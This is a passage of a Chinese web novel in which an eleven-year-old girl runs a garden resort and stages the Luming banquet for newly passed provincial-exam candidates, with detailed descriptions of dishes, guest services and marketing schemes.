陈敬脸色难堪,艰难的吞了吞口水:“你们也,梦见了周壮?” 几人微不可见的点点头。 刘豪哭丧着脸:“梦里,我竟然那么坏!” 潘悔皱眉:“难道是刘青青给我们下了什么药?” 陈敬摇摇头,痛苦的闭上眼:“再厉害的药,也不可能让我们四人经历同一个梦境。” “黄字二班确实有一个叫周壮的小书生,腼腼腆腆不爱说话!” “萧昕言曾抱怨过周壮看不起他,要去收拾周壮,后来来了郭守云,便忘了这茬!” 刘豪惊恐:“意思是,若不是郭守云突然插班,我们就会像梦里那样,跟着萧昕言坏事做绝,不得好死!” 虽然几人不愿意承认,仔细推想了一番,若跟着萧昕言混账下去,恐怕真有那么一天。 几人后怕不已:“冥冥之中自有天意,全因郭守云,萧昕言被开除,我们没有跟着他继续厮混。 所以,是郭守云把我们拉出了深渊,以后,就跟着他混吧!” 至于萧昕言,这种害群之马,人中渣滓,趁早一刀两断。 几人下定决心团结围绕在郭守云身边,重新做人,梳洗换衣后,顺着伙计的指点,摸到吃饭的地方。 竟然是在湖边的画舫里! 说是画舫,却比画舫大多了,主体是三艘画舫打通拼接而成的大型建筑,一面临湖,一面靠岸。 曲曲折折的木桥从岸边联通舫上。 天色渐晚,灯火辉煌的画舫上人影憧憧,想是已经有了许多人。 几人顺着挂满灯笼的木桥走进画舫,只见中间一溜的菜品,靠窗边的桌子上,坐着三三两两的学子,或悄声进餐,或有说有笑。 刘青青看见他们进门,似笑非笑迎了上来,示意身后的伙计递给他们餐盘:“来者是客,今日要选出最美味的菜品,所以用自助餐的形式。 每人餐盘里有四只花签,吃完后,投给你觉得最美味的四道菜品旁的签桶里。” “请自便!” 几人摸摸鼻子,有点扭捏。 刘青青落落大方不计前嫌,事过翻篇。几人越发折服,下定决心,死心塌地跟着郭守云。 四人抬着木制长方形餐盘,在伙计的解说下来到取餐区。 分为六个区域,点心主食区,荤菜区,素菜区,汤水区,果盘区和酒水饮子区。 琳琅满目,应有应尽。 约摸200多道菜,色香味俱全摆在长桌上,烛光摇曳,鲜花点缀,美轮美奂。 都是能吃的年纪,几人相约先到了主食区域。 看着面前精美的各种主食点心,竟然生出手足无措,无从下手之感觉。 这是什么,这又是什么? 看到他们踌躇不前定,旁边的伙计很有眼色的上前,一一给他们介绍起来。 “我们准备了三种米饭:锦上添花五色饭,色彩缤纷菠萝饭,还有谦谦君子竹筒饭 ,您们要哪种?” 刘豪咽了咽口水:“怎么做出来的?” 伙计已经背得滚瓜烂熟:“锦上添花五色饭。” “我们采用枫叶,紫蓝草,红蓝草,密蒙花,蝶豆花洗净后切段煮出黑色,紫色,红色,黄色,蓝色后的汁液,浸泡糯米,次日将上了色的糯米小甑子中隔锅蒸熟,便得到了你们看到的五色饭。” 陈敬惊诧不已:“红蓝草,生肌活血那个红蓝草么?” 伙计赞许的点点头:“公子真是见多识广,这几味草药不仅颜色鲜艳,味道清香还各有功效。枫叶能强筋骨,调理肠胃,紫蓝草、蝶豆花具有美容功效,密蒙花清热润肺,享受了食物的同时,也进补调理身子。” 陈敬第一个心动:“得,给我来一甑子!” 刘豪指着白色碟子上,吞了吞口水:“这个是菠萝吧,给我来一个!” 伙计笑呵呵取过白色的磁盘,里头躺着一只色泽金黄的菠萝,头顶上翠绿狭长的叶片像小娃娃头上的翘起的辫子。 他伸手轻轻一抬,揭开了菠萝盖子笑道:“公子,这不是菠萝,是菠萝饭哦!” “菠萝只剩一个壳,里头的肉取出来切成丁去涩后加上调料米饭,再放回去菠萝壳中蒸熟!” 刘豪一看,揭开半个盖子的菠萝壳中,白色的米粒,红色的大枣,翠绿的豌豆,金黄色的菠萝,橙红色的胡萝卜,五颜六色,红黄橙绿,果然当得起色彩缤纷这个词! 光看着便让人忍不住流口水,不晓得吃到嘴里,是什么样的感受! 潘悔和祝渊把目光放到整齐码放的一节节微黄带着焦的竹子上:“让我们猜猜,这也是米饭在里头吧?” 伙计见他们感兴趣,热心介绍道:“这可不是一般的竹子,是我们南平府特有的香竹,今早从竹林里砍伐回来,取中间不老不嫩那一段,装入泡好的米,加入适量的山泉水,用竹叶塞紧口子,放在老竹根架起的火堆上,一根根烤制出来。” 他麻利的用小刀将竹筒从中间劈开,一股似有似无的竹香,便钻入众人的鼻尖。雪白晶莹的米粒躲在竹膜里,犹如穿着一层淡青的纱裙。 四人腹中饥饿,也不去看其他面食点心,端着主食迫不及待坐在临湖的窗子边,打算先垫个底。 陈敬捧着手中的迷你甑子,直径约摸半尺,里头扇形一样摆放了五种颜色分明的米饭,晶莹剔透,清香弥漫,沁人心脾,香糯可口。 最让他欢喜的还是其中的紫色饭,除了糯米的清香,还带了一点说不清道不明的香味,那是紫蓝草的天然香味。 刘豪唏哩呼噜埋首在菠萝里,不忘给同伴们种草;“酸酸甜甜,外软内脆,柔软多汁,我还要再吃一个!不,两个,哎,你们必须得尝一尝。” 他没看见,祝渊和潘悔早就把一节竹筒饭干完了,互相挤眼睛准备去取第二次。 第115章 第115章开会 月上树梢的时候,刘青青站在青华园门口,送走最后一位客人。 趁着夜色的遮掩,她疲倦的打了个哈欠,郭守云内疚不已,蹲了下来:“上来,我背你!”大门口到大厅,还有两公里的青石板路。 他跟在后面,看着刘青青以不符合年纪的老成,熟练的与客人周旋、套近乎,一阵阵的心疼。 刘青青瞥他一眼:“你傻啊,大妞二妞都在,你吹一声口哨,它们便来拉!” 郭守云闻言,唤来大妞,扶着她上马,自己牵着马缰慢慢踱步回去。 刘青青坐在马背上,板着手指头数今日的收获:“吃人嘴短,拿人手软,陈敬四人今日吃了那么多,以后不会再为难你,你以后在府学的日子,想来能好一些!” 郭守云牵着缰绳的手一紧,丧气的垂下了眼睫:“我,我,阿青,我是不是太没用了!总是给你带来麻烦?” 刘青青诧异:“你看到我受欺负,你会怎么办?” 郭守云不假思索:“当然是教训坏人,给你出气!” “对啊,你我本是一体,你过得不开心,我也不开心,我收拾他们,是为了让我开心,何来麻烦一说!你想太多啦。” “上来坐我前面,你在实战园了窜了一天,累坏了吧!” 郭守云踩着马镫一个翻身,坐到前面架马,晚风吹着两人的脸上,刘青青絮絮叨叨在他身后夸道:“你今天太厉害了,走在登天梯上,像仙君下凡一样,潇洒飘逸,你不知道,卢师兄的那些同窗,眼底里全是惊艳,羡慕。 “我就不行了,一上去腿就软。” …… 郭守云专心的拉着缰绳,听着她碎碎念,在她的口里,自己好像是上天下地无所不能的神仙一样,唇角不自觉的翘了起来。 两里路说长不长,说短不短,不一会便到了画舫,张和焦躁的走过来,走过去。 看见两人共骑悠闲而来,心口顿时一窒。 “这里都要闹翻天了,你们还有闲情逸致骑马逛园风花雪月,你们的良心不会痛么?”他就是皇帝身边的那个太监,心都要操碎了。 郭守云翻身下马后接着跳下来的刘青青。 站稳的刘青青翻了个白眼:“又怎么啦?” “诺,你喊来那么多酒楼拼菜,之前定下规矩按照花签数目排序,前二十四名确定了,但是接下来的十个菜,花签数目一样,分不出输赢,在里头吵得不可开交,几乎要打起来! 刘青青嗤笑:“这简单,都上呗!” “哈?”可以么,鹿鸣宴三十二菜的规矩,可以随便改动么? 刘青青瞥了他一眼,嫌弃道:“把两个菜放在一个盘子里,不就是一个菜啦!” “不会串味么?” 刘青青笑道:“你猜,之前买得那些碗碟为什么价格偏高?” 里头有双层碟子,花瓣碟,还有太极碟,本来是为了摆盘好看,现在完美解决各家酒楼的争执。 张和干巴巴的眨了眨眼睛,他怎么就没想到呢? 果然,各家掌柜听了她的解决方案,满意的点头称赞,不停的夸刘青青做事大公无私,爽利干脆! 各家酒楼派了一个伙计作为画舫里的伙计,全程站在一边监督,保证了今日的菜品选拔,没有半点暗箱操作。 全是今日进门客人自动选择的结果。 看着欢天喜地离开的掌柜,张和悄悄退后了一步,刘青青其实没那么大公无私,她有暗箱操作,青华楼的四个菜直接入围,各家酒楼选择性视而不见,这便是又当裁判又当选手的好处。 送走了今日的第二波客人,刘青青迎来了青华园各处管事的汇报。 管厨房的刘慧兰:“各家酒楼自带菜蔬,没用我们的一盐一糖,厨房今日没有损耗,甚至还多了些各家酒楼用剩下的配菜调料!” 做菜的时候,需要将调料放进操作板上的调料盘里,取用的时候不可避免的会互相混淆一点,因明日做的是正式的鹿鸣宴,所以,这些调料,大部分酒楼豪气的不要了。 还陪着笑脸和刘慧兰道歉,麻烦她打扫干净厨房。 刘慧兰:“……” 这这些调料用于精细高档的鹿鸣宴不行,但是,用于平时的家常菜完全没有问题。 管理客房的是大春和赵峰,一个管女舍,一个管男舍。 这年头男女大妨重,刘青青充分的考虑到这一点,男女主题客栈分开在湖的两岸,隔窗远看,却不能相见,避免以后发生些影响青华园名誉的事。 当然,还有专门的夫妻舍,一座座小院子,像繁星隐在偌大的花园里,独成一方天地,至于为什么这么设计,刘青青表示,她跟着其他客栈学的。 成年人的快乐,她一个小孩子怎么会知道呢? 赵峰看了看账本,有些惭愧:“今日是亏本的一天,房钱没赚到一文,但是支出不小。光烧水的炭便用了二十担。除了清扫浣洗住过的房舍外,另有一间屋子,床塌了,需要更换新床!” 啧,这便是弹簧软床的魅力,是个人都忍不住上去蹦。想来那些男孩子力气大,把床蹦坏了。 管理女舍的大春脸上全是古怪:“女舍没赚到房钱!” “但是,赚了其他的钱!” “好几个女孩子走的时候,打发下人将她们睡过的铺盖都搬走了,还把房舍打扫得一层不染,连头发丝都不剩一根。 房舍里光秃秃的,像被打劫了一样。不过,她们都留下话,叫我开好单子,说明日管家会来会账。 还有,你让人摆在里头的手动吹风机,一个不剩,全部被带走了! 朱拂那件屋子,连床都被拆下来搬走了。” 刘青青愣了一下,这是她没预料到的。 半响琢磨过来,现在不同末世,男女大妨森严,特备是官宦之家的女孩子,担忧随身物品被有心人捡去,惹来不必要的麻烦,所以睡过的铺盖全都带走。 果然是贵族,物品只用一次,和打工人不一样。要知道,末世即便五星级酒店的床铺也是循环利用的。 刘青青表示,贫穷限制了想象力。 一旁的张和庆幸不已,当时他想节省资金,打算将男舍女舍比邻而建,铺设地下管道的时候省下一笔银子,可是刘青青不同意。 现在才发现,耗费巨资,把男舍女舍分离而建,是多么正确有远见的决定,越发觉得刘青青高瞻远瞩。 刘青青;“……” 想多了,主要是末世念书的时候,男生女生宿舍都是分开的,随手拿过来用而已。 大春木着脸继续道:“还有,她们说,喜欢我们客栈里那种冲澡的方式,能不能把图纸卖给她们,或者我们上门帮她们改造修建?” 刘青青一拍大腿:“可以,太可以了!等他们的管家上门,你让管家和阿爹谈。疑,阿爹,他还没到么?”刘有山便是她计划中的施工队队长, 刘慧兰解释:“已经到了,碰碰、瓷瓷一路颠簸,精神头不怎么好,阿爹去照料了。”碰碰、瓷瓷便是两只小老虎的名字。 管理划船部的是赵二贵,他闷声道:“今日划船的客人很好说话,都很听劝,没有人落水。你说的深水莲藕种子我已经采购回来了,是明天就种下去么?” 刘青青想了想:“让你手下的的船娘船员每日下水演练,模拟落水救人的情况,确保万无一失。 最重要的,女孩子落水一定要船娘去救,男孩落水让船员去救,莫要弄错,惹出麻烦。 种子先缓一缓,等过了明日再说!” 赵二贵嗯了一声,退到一边,刘青青看他比在村子里精神了许多,想来已经从妻儿的背叛中走出来。 最后说话的是刘满仓:“小东家,你说的辣椒我已经全部采完了,接下来怎么安排?” 刘青青大喜:“好,晒干后,把里头种子全部剥出来,带回村过了年催芽栽种,红色的皮磨成粉,莫要让外头的人晓得!” 刘慧兰奇道:“这是什么,弄得神神秘秘的。” 李青青叹道:“你们莫要小看了这些小小的红果子,运作的好,比整个青华园都值钱。” 刘满仓看不得土地荒废,眉头扭成个川字:“那空出来的土地做什么,是不是种一茬冬小麦?”现在种,时令好像过了,也不知道收成怎么样。 清水沟才是大本营,刘青青决定把辣椒带回清水沟村去种,这里人来人往不合适。 “种花罢,茉莉、菊花、玫瑰,特别是玫瑰,能种多少种多少,我明年有大用。” 正说着,刘有山走了进来,他喝了口水抱怨道:“为何非要碰碰瓷瓷来,两只小家伙焉头耷脑趴着不搭理人,肯定是晕车难受极了!不吃不喝,瘦得皮包骨头。” 被责备的刘青青在心里翻了翻白眼,不至于,真的不至于,才一顿不吃不喝,就碰碰瓷瓷那胖成个球的模样,饿三天也不会皮包骨头。 碰碰瓷瓷一到刘家,立马成了刘家第一梯队的宝贝,其他的都要往后靠。 比如现在,好久不见的刘有山不问她吃的好不好,睡得香不香,瘦了没有,张口第一句便是抱怨为何让碰碰瓷瓷受车马之劳,晕车之苦! 拉车的马表示,我们更辛苦。 刘青青不敢回嘴,陪笑道:“我现在就过去看看。”她让大家解散休息。 回到主院里,碰碰瓷瓷确实躺在廊下,刘青青上看下看,都看不出它们哪里没精打采。 两只大猫身下垫着软乎的棉垫子,圆得像个球的脑袋微微一动,黑炭棉花深刻的演示了什么叫真实版的狗腿子。立刻颠颠叼来各种物件:肉干,果子,飞盘,骨头…… 第116章 第116章拉风吸睛 十月二十六放榜日,贡院外人山人海,伸长脖子等着新鲜出炉的举人老爷。 今年看热闹的百姓,除了七嘴八舌讨论谁家要榜下捉婿外,更多的话题,围绕在贡院外的车队上。 不围绕不行,实在太醒目了。 合计十辆马车,全是挂着大红花的双匹高头大马拉车。 半人高的车身上,车架被五颜六色的鲜花装饰,喜气华贵。木板车厢被拆除,换成窗纱,透过轻薄的窗纱,里头的陈设一览无遗,坐榻软垫小几茶水点心,一应俱全。 最最引人注目的便是最前面带队的,竟然是老虎。 两只黄底黑斑纹的小老虎精神头十足,脖子上挂着大红花,好奇的打量着四周,不时伸伸舌头,淘淘爪子,萌蠢萌蠢的。 孩子们欢喜得拍掌跳脚,不自觉凑上去,想要近距离接触两只小老虎。 也有小娘子蹭上前,想摸一摸那毛茸茸的脑袋。 穿着青华园制服的伙计耐心劝离:“老虎今日有任务,是来接举人老爷们去参加鹿鸣宴的哟,等过了鹿鸣宴,可以来青华园找它们玩哦!” …… 拥挤的人群中,常宁县谢玉华,捏了捏已经洗得发白的袖口,近乡情怯,站在榜单下久久不敢抬头。 这是他第五次参加科举,也是最后一次。 为了读书科举,家里能卖的田地产业都卖了,这次赶考,妻子更是把房契地契典了出去,若再不中举,他读书之路到此断绝。 他捏着拳头,挤到最前面,从榜单最下面往上找,陈、王、赵、李……,不是,都不是,都不是他的名字。 谢玉华哭丧着脸又找了一遍,绝望的眼泪从脸庞滑落下来。男儿有泪不轻弹,只是未到绝望处。 夫子夸他有灵气,又舍得吃苦,必有一番作为,他也一直坚信,自己是不平凡的。年少时爱做梦,想着有那么一日,金榜题名,衙役开道,专车护送,百姓夹道欢迎。 昔日龌龊不足夸,今朝放荡思无涯。春风得意马蹄急,一日看尽长安花。 可惜,一切都是镜中梦,水中花! 谢玉华失魂落魄跌坐在地上,心如死灰。 后面看榜的人不停的往前挤,大家伸长脖子看着悬挂的红榜,没人注意脚下。 眼看无数只大脚就要落在谢玉华的身上,他毫无所觉。 仰或有所觉,却无动于衷。 这当头,身穿深蓝衣裳,上面绣着青华楼字样的三名强壮伙计,生生挤到他面前,以自己的血肉之躯,成掎角之势,给他搭建了一个安全的帐篷,将人护在中间:“谢解元,小的们是青华园的伙计,来接您去赴鹿鸣宴!” “人多拥挤,请大人到马车里安坐,以免被踩伤。” “解元大喜之下保重身子,以后好日子多着呢!” 谢玉华愣住了,他们是在叫他么?他是解元?第一名? 他愣愣的抬起头,眼里全是迷惑,不敢置信,还有一丢丢奢望:“你们认错人罢!” 伙计笑着一指榜首:“诺,常宁县谢玉华,年庚三十二,可不是您么” 在发榜前,刘青青已经把种子选手的资料让他们背得滚瓜烂熟,每一位种子选手,都配了三名伙计捉人,要求一放榜,以最快的速度找到中举的选手 ,死缠烂打,请到马车上。 还有另外一队,专门等着捉漏网之鱼的举子。 他顺着伙计的手指,把目光投到他不敢看的第一个名字上:谢玉华,籍贯常宁。 巨大的惊喜砸中了他,大悲大喜之下,几乎昏过去。他摇晃了两下,还未反应过来,已经被三个伙计半是架半是护,挤开人群,搬到了马车上。 坐在精致的马车中,深吸几口气心绪平稳下来的他,神智回笼,便是无尽的后怕。 适才他没发现自己的名字,有了向死的心,迎着纷至沓来的脚,他不闪不避,竟然有了一点解脱的快感。 幸好,幸好青华园的伙计救了他。 他恢复了平时的沉静:“我的行礼还在葫芦庙里,我先去取一下!” 伙计陪笑道:“外面人多眼杂,还有不少落榜眼红心酸之人,万一借着丢瓜果的名头伤了你,甚是不美,不如我们兄弟跑一趟,取了您的行李,搬到青华园去,您安安稳稳坐在车里。” 谢玉华悚然一惊,往年确实有举人发生意外。 青华楼考虑得甚是周全,他欣然同意搬到青华园居住。 谢玉华嗯了一下,难为情道:“我,能不能找个地方,我先收拾整理一下。”适才失态,弄得一身狼狈,这样子去赴宴,面见学政大人,甚是不妥。 伙计笑着解释:“更衣啊,不用找地方,您看,车凳下的木桶里有温热的巾子,您先对付一下。青华园为您准备了干净的学子服,去那边梳洗更衣,方便。” “学政大人们已经在园子里了,不如早些去,也可以向大人们讨教,或和同科们研习。” 青华园的伙计笑盈盈的,三百六十五度无死角,将谢玉华劝说得安安稳稳坐在马车上。 不仅解元得了这样的待遇,中举的每一个举子,都被青华园的伙计们热情体贴接上了马车。 待举子们坐好,前面十名伙计敲锣打鼓开道,老虎领路,马儿们自动跟随,马车碌碌而行,两旁三十名壮汉护送,车队顺着主街慢慢游走,两旁的百姓欣然拍掌叫好呼喊,不时尖角着丢些瓜果到车厢里。 举子们听着瓜果咚咚咚砸在车顶上的声音,维持着的笑脸不由得微微一僵,这要是砸到脑袋上,得现场开瓢。 原本有些不喜青华园擅自安排,现在变得感激起来:不愧是府衙选中举办鹿鸣宴的商家,果然考虑体贴周全。 不晓得宴席做得怎么样? 对接下来的行程,充满了期待。 马车轰轰烈烈载着所有举子,吸足了目光,领着全城的百姓出了城门,顺着铺了红毯的官道,约摸行了两里路,进了青华园的大门。 在百姓们恋恋不舍的目光中,迎客堵在门口,拱手作揖:“乡亲们,今日青华园专门举办鹿鸣宴,不能接待各位,实在对不住!” “不过,为了让大家沾一沾举人老爷们的文气,我们青华园特意做了举人老爷们爱吃的同款点心,状元糕,只要十文钱一块,每人限购一块,要的乡亲们,请到这边排队哦。” 大家打眼一看,方方正正的一块油纸包,上面顶着一块红纸,用红线扎好,看着倒是很喜庆。 迎客随意揭开一个,淡黄色的油纸包里,露出雪白的糕点,长方形形状,上层红色的正楷,写着状元糕。 迎客手脚麻利,捡了一包状元糕在淡青色的盘子里切分开后,请围观的看热闹的乡亲们品尝。 有人捡一小块入嘴,味美气香,甘甜松脆,入口即溶,果然美味。 不说味道,冲着状元那几个字,谁不心动?而且,是鹿鸣宴上的同款点心,和举人老爷们吃的一样哦。 原本只是味道可口的糕点,在众人的心中,立马变得不一样了,自带滤镜,逼格拉满。 迎客一脸神秘:“我们在状元糕中,还放了奖券,抽中了,就能免费体验青华园中的各种项目哦。” 一个穿金戴银的小娘子若有所思,红着脸询问:“你们今日这种花车,也能体验么?”她婚期已近,坐轿子没劲透了,今日的花车,实在太梦幻,太拉风了,她想要一场不一样的婚礼。 迎客笑嘻嘻道:“自是可以的,不过要抽到花车体验卷哦。” 其实抽不到也没关系,刘青青已经设计了婚庆项目,承接各种宴席举办。 刘青青对青华园的定位就不是高端专业酒楼,而是集休闲娱乐餐宴住宿一体的一条龙服务大型会所。 一块简单的糕点,在刘青青用字体,名字,举人,抽奖的各种加持下,立马受到了空前的欢迎,在青华园门口的迎宾房内,开始排队销售。 短短一日,青华园销售了十万包状元糕,销售额1000两,获利800两,同时,状元糕成了青华园的特产,让人们记住了这个地方。 顺便,发出了十万张体验卷。 在设置体验卷的时候,张和不赞同:“你弄那么多体验卷,客人们不出钱,我们不是白忙活了么?” 刘青青难得耐心的解释:“青华园内各种项目,体验卷只能体验一种,不说别的,他要进来体验项目,是不是得买门票,虽然才十文钱一人,但进了门,是不是得吃,得喝,得玩?用一个免费的项目,把人勾进来,赚钱就变得容易了!” 张和听得叹为观止:“果然,又是套路。免费的东西,其实都在暗中,标好了价格!” 进了清华园等的举子们,被领到了湖景房男舍,舍内原封不动堆放着取来的行礼,另外配备了笔墨纸砚,状元糕果子点心,另外有云锦长衫,供各位选择换洗。 看着窗外湖光十色,靠在柔软的枕头上,少有不诗兴大发的,不少学子兴致来临,挥洒泼墨,刷刷刷留下许多诗句。 第117章 第117章靠周全胜出? 谢玉华记不清上次痛痛快快洗澡是什么时候,夏至在河里? 家中拮据,油盐酱醋柴米茶,样样要钱。这次来赶考前妻子狠狠心费柴烧了一锅水,他洗了个干净。洗完澡的水没浪费,孩子们跟着洗了一遍。 他只想洗洗脸的,可是,摸索着扭开开关,热乎乎的水从指间溜走,等他反应过来,他已经站在了花洒下,抹上了洗发液,任由热雨落在身上。 洗完澡,神清气爽感觉轻了两斤,枯黄的头发湿哒哒的披在发黄的里衣上,洇湿了一大片。他眉头紧皱看着铺在床榻上的衣服,纠结该穿哪一件衣衫。 青色的长衫最衬他的气质,可惜袖口磨着发白,甚是窘迫。蓝色的长衫有五成新,偏偏是交领,穿上后显得他有点驼背,猥琐感扑面而来。正在踌躇中,房门被轻轻的敲响。 原是护着他来的青华园伙计。 伙计笑盈盈道:“大人,我们听到你起身了,来给您梳头净面。” 视线落在他湿漉漉的头发,急得跳起来将他按在了凳子上:“我的大人诶,天气渐凉,这么湿着头受了寒,可怎么办啊!” 手脚麻利在他肩上垫了一块大布巾,遮住脸颊。拿起桌子上的木盒子,摇动手柄给他吹头发。 “这是我们青华园特制的吹风机,您快速吹干头发,您稍微忍耐一盏茶功夫。” 整个人除了头发都躲在大布巾里的谢玉华,感觉一道凉风落在头皮上,带走了湿漉漉的水汽,半点没觉到冷。 不一会伙计揭开大布巾,他惊愕的发现自己毛躁发黄的头发,竟然服帖柔顺的散在肩膀上,他悄悄的撇一眼伙计手中圆头圆脑的吹风机。 伙计觑着他的面色询问:“大人,您胡子是刮干净,还是修剪一下。” 谢玉华点点头:“刮干净!”认命的靠在椅背上,等待记忆中的刺痛——他自己在家刮胡子,用的是妻子的剪刀,要么刮不干净,要么刮破皮,留下细细的伤口。 这些日子挂着榜单,胡子拉碴,脏乱不堪,确实该收拾一番。 伙计在他脸上抹了些白色的东西,用个小推刀,三两 下便把他青黑的下颌刮得干干净净,漏出皮肤的原色,整个人立马年轻了三岁。 他惊愕的摸了摸光滑的下巴,盯着伙计手里的推刀,很是眼热,青华园里的用品着实方便,处处透着一股子体贴灵巧。 他的目光过于灼热,伙计赶忙解释:“大人放心,您屋子里的吹风机和刮胡刀,各种用品,都是崭新的,干干净净。” 谢玉华随和一笑:“不是这个,我是想,你们东家肯定是个讲究精致,历经千帆的老大人,才能样样考虑的这么周全。” 伙计嘿嘿一笑,眼底全是佩服崇拜:“大人猜错了,我们东家聪明智慧是真的,不过是个年岁仅有十一的小女娃。” “她本想来拜访您,又怕叨扰您赴宴,请您鹿鸣宴过后,不要忙着回乡,能拔冗一见。” 谢玉华对伙计口中的小东家着实好奇,不晓得是什么样的世家大族,才养的出这样钟灵毓秀的人儿。 稍后,伙计捧出了常见的学子服云锦长衫,天青色,深蓝色,藏青色,请他选一身。里衣鞋袜一应俱全。 谢玉华推迟:“怎好让你们如此破费!” 伙计解释:“您不嫌弃,能下榻我们青华园,已经是我们偌大的荣光。因没量过尺寸,我们把成衣按照从高到矮做了五个尺寸,请大人试一试选出合身的,早早去花厅赴宴。” 换好衣裳的谢玉华,看着铜镜中精神勃发神采飞扬的自己,生出豪情万丈。他已经半只脚踏入了官场,谢家从此将一改门庭。 灯火通明,伙计们执着灯笼,在前带路,谢玉华看到好几个同科,和他作一样的打扮,一改往日的窘迫,光鲜亮丽,红光满面。 他们跟随伙计的指引,进入湖边的灯火辉煌的画舫中。 绕过屏风,中间摆了四张大圆桌,每个座位上列有名牌,中间是学政考官,举子们环列三侧。 大厅里已经有许多举子,大家坐在窗边的小桌子上,或谈诗论道,或临窗观景。 谢玉华扫一眼窗外波光粼粼的水面,立刻发现了画舫里的不同。 按他多年的生活经验,邻水的地方必定吸引大量蚊虫飞蛾。家中房子在田便,要熏许多的艾叶,才能驱赶一二。 可是画舫里灯火通明,却没有半只昆虫,他眼底闪过惊讶,走到窗边仔细一看,原来窗户上蒙着一层细腻的窗纱,将扰人的虫子,全部挡在了外面,但却不影响大家观看外面美丽的景色。 青华园能在一众老牌酒楼中成为黑马杀出,确实是独具匠心。 这这样敏感的场合,不合适讨论试题时政,大家是同科,以后同朝为官,势必说些什么拉进彼此间的关系,青华园的种种便被大家拿出来交流心得。 一个带着白玉簪的举子,哗啦扇着手中的折扇嗤笑:“青华园根基太浅,竟然在画舫里办鹿鸣宴,不如人家遇仙楼,三层的酒楼,可以远眺整个南平府,豪气万丈,可惜我们时运不济,今年赶上了这家暴发户!” 他捻起一颗翠绿的葡萄,疑,真甜。 他干脆合了扇子,一面吃一面嫌弃道:“我表哥是上一科的举子,遇仙楼准备的是甜啧啧的果脯,哪像青华楼,直接弄几个果子来糊弄了事。” 这话有些过了。 谢玉华觑着他,说话的这人他认识,是隔壁常安县的富户公子,名叫张丰良,榜单上最后一名。 众人看看他一个接一个的把葡萄塞到嘴巴里,诡异的保持了沉默。 张丰良脸上满是不屑,但手却很诚实,白瓷盘里颗粒饱满滚圆、翠绿晶莹的葡萄,被他摘掉好大半,露出难看的果蒂,犹如讥笑的脸。 他一脸向往道:“人家遇仙楼的胭脂鹅脯,色泽鲜艳,嫩美可口;名菜福寿全,荤香四溢,隔着街都能闻到香。双冬扒鸭,香浓美味,啧!” 谢玉华有些看不上他一边吃着青华楼的葡萄,一边踩青华楼的菜:“张兄品遍美食,想来看不上这几粒区区葡萄,不如留给我们尝一尝。” 他伸出骨节分明的手,抽走瓷盘,笑着邀约其他举子尝一尝。 一个穿着同款云锦学子服的年轻举子,对上他的眼友好的笑了下,捻了一颗葡萄,慢丝调理道:“遇仙楼是南平府老牌名楼,各种珍馐自然是不缺的,要说果子,这小小的如雀卵大小的青色葡萄可不简单。 据说青华楼耗费十年,才培育得一株,今年得了一筐。中秋宴的时候作为特等奖,兑换给老客户。大家都知道,葡萄八月成熟,他们能把葡萄留到现在,说明他们费了些功夫。 至于果脯,放上佐料腌渍后,一年四季都不缺,全是一股齁甜。 相较下来,对比遇仙楼的店大欺客。青华楼可谓是贴心周全。” 张丰良不服:“青华楼也只剩下贴心周全了,用一辆马车便把你们收买了。在这荒郊野外的,不用马车载我们,难道要我们走着来? 要说美味,能作出什么来,不过是些肥鸡炖鸭,油腻腻,土得掉渣。” 正七嘴八舌的说着,那边学政大人带着知府大人一众官员走了进来,径直坐到中间的大圆桌上。 主位已经落座,各位举子雅雀无声,找到自己的位置就坐。人人面不斜视,正襟危坐。 知府卢雪樵点点头,刘青青让伙计开始上菜。 最先的便是汤。 当伙计们鱼贯而入,在每人面前放了一碗冒着热气的白开水时,众多学子面上露出了诧异之色。 张丰良嗤笑:“难道要我们喝白开水?” 卢雪樵也是一惊,咳嗽了一声:“掌柜呢,来给我们解释一下,这是啥?” 刘青青一袭合身的学子云锦长衫,头发冠到脑后成一个发髻,清秀如竹,磊落大方:“各位大人,这道菜名国色天香。” 她指了指桌面正中间的大瓷瓶里开得茂盛的牡丹花:“从里头选一朵喜爱的花朵,放在碗中的山泉开水中,等花朵全部融化,便可以喝了!” 众人把目光放到桌子中间的浅口大肚花瓶,里头盛开了各色牡丹花,姹紫嫣红,富贵雍容,恍如真花。 面对大家质疑的目光,刘青青解释道:“我们用鱼胶配上各种珍稀食材熬煮后,留下汤汁,刷在洗干净的牡丹花瓣,晾干后一片片撕下来,从新拼装成牡丹花。 它具有牡丹花的雍容华贵,又是一道鲜美暖胃的开胃汤,大人们不防一试。” 卢雪樵赞叹道:“好巧的心思!来来来,今日我们尝一尝牡丹花汤的滋味!” 他用筷子夹了一朵淡粉色的半开的牡丹花,放在面前的汤碗里,神奇的一幕发生了,花朵从外到里的花瓣,一片片消融在水里,恍如牡丹花一息之间,完全盛开。 不说味道,光是看着碗里晶莹淡粉的牡丹花盛开,便是难得一见的视觉盛宴。 妙,妙极。 等花朵完全融化在汤里,清澈的山泉水,变成一汪淡粉色的汤汁,晃晃悠悠,引着人去品尝。 卢雪樵捡起刻金白瓷小勺舀了一口送到嘴中,鲜甜的味道,混着着丝丝花香,顺着食道流到胃里,果然是开胃暖汤。 张丰良只觉得这汤格外鲜,干脆端起碗来喝,和他同桌的人打趣道道:“青华楼菜色土鳖,张兄还吃的这么开心啊?” 这一道汤实在惊艳,大家不 由得期待起下面的菜来。 只是,不是要吃饭了么,伙计们端着一排排的笔架纸张来作甚? 第118章 第118章御笔鸡枞 刘青青笑盈盈介绍:“各位大人,这是开胃小菜,御笔鸡枞~” “您眼前的墨汁是我们的厨师,耗费了一天才做出来的。 取猪骨猪蹄母鸡鸡脚火腿和猪肉焯水,控干后下油锅炸至金黄,然后重新下锅,加山泉水熬煮到滤骨,这个时候汤变成了奶白色,滤掉油脂肉渣保留浓汤,然后放入鲍鱼干贝墨鱼继续用砂锅小火煲两个时辰,把所有食材的精华全部浓缩到一起,直到汤汁变得粘稠,颜色为深褐色。墨汁便做好了。 墨笔我们采用最鲜嫩的金竹冬笋,掏空中心,填入虾茸,将鸡枞撕成细丝,一根根整理在一起,做成笔头,塞入竹笋杆,然后将做好的墨笔,放在之前的高汤中蒸熟,再挂在笔架上。” “纸张也可以吃哦,取冬笋可食用的部分,敲打了一天泡在水池里,纸网滤出风干后,下油锅高温炸熟。” 刘青青轻飘飘几句话,大家能感受到其中的复杂和费时费力,将目光落在桌子上的御笔鸡枞上。 雨过天青色的大方盘里,立着一只笔架,上面整齐悬挂着从大到小十二只御笔,笔杆上留着金竹天然的骨节,风骨依旧。颜色或青绿,或翠黄,笔直修长。 笔头上,鸡枞丝细如绣线,丝丝缕缕汇聚在一起,下尖中粗,圆润犹如一个饱满的枣核。 